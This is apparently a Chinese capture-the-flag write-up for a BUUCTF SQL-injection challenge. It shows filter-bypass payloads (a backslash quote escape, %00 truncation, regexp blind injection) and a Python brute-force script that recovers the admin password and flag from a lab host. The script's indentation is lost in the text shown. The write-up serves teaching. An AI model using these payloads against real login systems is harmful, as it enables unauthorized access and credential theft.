直接给出了查询语句
select * from users where username='' and passwd=''
构造语句查询,发现有过滤
fuzz一下,很多参数都被过滤
robots协议下发现hint.txt文件
hint.txt文件,有被过滤的参数,但是没有过滤"、|和\,并且提示只要密码与admin的密码相同就可以获得flag
解题思路
无引号闭合:可以利用转义符
注释符#和-- -:%00作为截断字符可以代替
爆破字符:利用regexp(正则匹配)注入配合 ^
盲注入
payload
username=\&passwd=||1;%00
# select * from users where username='\' and passwd='||1;%00'
当页面正确时响应页面会跳转到welcome.php
正则爆破
payload
username=\&passwd=||passwd/**/regexp/**/"^x";%00
以x去匹配flag,以x开头就匹配成功
脚本:
import requests
from urllib import parse
import string
url = 'http://9dcb13a9-12f1-4b96-b215-7288eab945ae.node4.buuoj.cn:81/'
num = 0
flag = ''
string= string.ascii_lowercase + string.digits + '_'# flag是由小写字母数字和_组成
for i in range (1,30):
if num == 1 :
break
for j in string:
data = {
"username":"\\",
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((flag+j),parse.unquote('%00'))
}
res = requests.post(url=url,data=data)
if 'welcome' in res.text:
flag += j
print(flag)
break
if j=='_' and 'welcome' not in res.text:
break
you_will_never_know7788990
得到密码后以任意用户使用admin密码登录即可获得flag
flag{988dce50-d7d0-4456-b6c8-e4fe4abc2111}
标签:username,Web,00,Buuctf,string,passwd,break,SQLi,flag
From: https://www.cnblogs.com/scarecr0w7/p/17377162.html